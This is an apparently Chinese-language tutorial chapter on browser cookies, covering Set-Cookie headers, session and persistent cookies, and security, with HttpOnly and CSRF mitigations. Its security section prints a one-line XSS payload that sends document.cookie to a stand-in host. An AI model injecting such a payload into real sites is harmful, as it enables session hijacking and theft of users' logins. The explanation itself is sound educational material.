前言
在开发Web应用的过程中,会设计一些数据的存储需求,常见的存储方式可能有:保存登录态的Cookie;使用浏览器本地存储的LocalStorage和SessionStorage;客户端数据持久化存储方案涉及的WebSQL和IndexedDB;直接存储在本机的文件系统上等。本章主要讲述Cookie在请求与相应、持久性、安全性方面上的特性,让大家有一个全面的了解。
Cookie
Cookie
是服务器创建后发送到用户浏览器并保存在本地的一小块数据,在该浏览器下次想同一服务器发起请求时,它将被携带并发送到服务器上。它的作用通常是告诉服务器,先后两次请求来自同一浏览器,这样便可用来保存用户的登录状态,使基于无状态的HTTP
协议能够记录状态信息。
响应与请求
服务器通过响应头的Set-Cookie
字段向浏览器发送Cookie
信息,示例如下:
Set-Cookie: JSESSIONID=7A6D610CBD77353FAEAFF169AC7B1D16
浏览器接收到请求后再次向服务器发送请求时会再Cookie
字段中携带Cookie
信息。
Set-Cookie: JSESSIONID=7A6D610CBD77353FAEAFF169AC7B1D16; Path=/; HttpOnly
每条Cookie信息以 cookie名=cookie值
的形式定义,多个Cookie
信息之间以分号分割。
持久性
Cookie
支持会话级的Cookie
,即浏览器关闭后会被自动删除,其仅再页面会话期内有效。除此之外,还有一种持久性的Cookie
,通过指定一个过期时间或有效期来变更默认Cookie
的持久性,示例如下:
Set-Cookie: loginstate=1; Expires=Mon, 02 Aug 2021 23:25:08 GMT
安全性
由于通常会用Cookie
来表示用户和授权会话,所以一点Cookie
被窃取,则可能导致授权用户的会话遭受攻击。一种常见的窃取方法便是应用程序漏洞进行跨站脚本攻击**(XSS攻击)**,示例如下:
(new Image()).src = "http://www.example.com/steal-cookie.php?cookie=" + document.cookie
JavaScript
代码document.cookie
属性值可以拿到存储在浏览器中的Cookie
信息,然后通过为新建图片的src
属性赋值目标URL
来发起请求,这便是XSS攻击,对此可以通过给Cookie
中设置HttpOnly
字段组织JavaScript
对其的访问性来缓解此类攻击。
除此之外,**跨站请求伪造(CSRF)**也会利用Cookie
的漏洞来进行攻击,假设论坛中的一张图片上实际挂载着一个请求:登录微博添加特定用户为好友或进行点赞操作。当打开含有该图片的HTML
页面时,如果之前已经登录了微博账号并且Cookie
信息仍然有效,那么上述请求就可能完成。
为组织此类事情发生可以注意以下几点:敏感操作都需要确认;敏感信息的Cookie
只能拥有较短的生命周期等。
总结
在Web应用刚兴起的时代,由于当时并没有其他合适的客户端存储方式,Cookie
曾一度被当做唯一的客户端存储方式使用。随着Web
技术的发展,现代浏览器已经开始支持各种各样的存储方式,同时由于服务器指定了Cookie
后,浏览器每次的请求都会携带Cookie
数据,这样势必会带来额外的宽带开销,所以Cookie
正逐渐被一些新的浏览器存储方式淘汰。